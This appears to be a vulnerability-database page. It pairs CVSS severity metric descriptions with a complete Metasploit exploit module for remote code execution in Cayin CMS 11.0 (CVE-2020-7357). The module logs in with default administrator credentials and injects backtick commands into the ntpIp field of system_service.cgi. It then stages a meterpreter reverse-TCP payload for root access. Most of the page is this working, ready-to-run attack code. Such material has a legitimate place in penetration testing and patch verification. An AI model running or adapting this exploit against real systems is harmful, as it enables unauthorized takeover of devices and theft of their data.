The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Cayin CMS NTP Server 11.0 Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cayin CMS NTP Server RCE',
'Description' => %q{
This module exploits an authenticated RCE in Cayin CMS <= 11.0. The RCE is executed
in the system_service.cgi file's ntpIp Parameter. The field is limited in size, so
repeated requests are made to achieve a larger payload.
Cayin CMS-SE is built for Ubuntu 16.04 (20.04 failed to install correctly), so the
environment should be pretty set and not dynamic between targets.
Results in root level access.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Gjoko Krstic (LiquidWorm) <[email protected]>' # original PoC, discovery
],
'References' =>
[
[ 'EDB', '48553' ],
[ 'URL', 'https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php' ],
[ 'CVE', '2020-7357' ]
],
'Platform' => ['linux'],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
},
'Privileged' => true,
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DisclosureDate' => 'Jun 4 2020',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'The URI of Cayin CMS', '/']),
OptString.new('USERNAME', [true, 'Username to login with', 'administrator']),
OptString.new('PASSWORD', [true, 'Username to login with', 'admin']),
# from the original advisory, leaving here just in case
# OptString.new('USERNAME', [true, 'Username to login with', 'webadmin'])
# OptString.new('PASSWORD', [true, 'Username to login with', 'bctvadmin'])
]
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'login.cgi')
)
if res.nil? || res.code != 200
return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
end
if res.body.include?('var model = "CMS') && res.body.include?('STR_CAYIN_LOGO')
print_good('Cayin CMS install detected')
return CheckCode::Detected
end
CheckCode::Safe
rescue ::Rex::ConnectionError
CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
end
def login
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'login.cgi'),
'method' => 'POST',
'vars_post' => {
'apply_mode' => 'login',
'lang' => 'ENG',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
# instead of a 302 like most apps, this does a script window.location to forward...
unless res.code == 200 && res.body.include?('/cgi-bin/system_status.cgi')
fail_with(Failure::BadConfig, "#{peer} - Login failed. Check username and password")
end
res.get_cookies
end
def execute_command(cmd, _opts = {})
# originally attempted to use the 'test' functionality, however it attempts 3 times which
# means our exploit code stage chunks are written 3 times.
# also attempted to just 'save', however it doesn't execute an update.
# 'update' was the prefered functionality
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'system_service.cgi'),
'method' => 'POST',
'cookie' => "#{@cookie} sys=Service",
'vars_post' => {
'exe' => 'webSvrUpdateNtp',
'ntpIp' => "`#{cmd}`"
# test button, executes 3 times
# 'exe' => 'webSvrTestNtp', # just do the 'test', doesnt change config and still runs
# 'ntpIp' => "`#{cmd}`"
# save button, but doesnt execute
# 'save' => 'webSvrNtp',
# 'ntpIp' => "`#{cmd}`",
# 'ntpEnable' => 1,
# 'ntp_server' => 0
}
)
end
def exploit
if check != CheckCode::Detected
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end
@cookie = login
execute_cmdstager(flavor: :printf, linemax: 200)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
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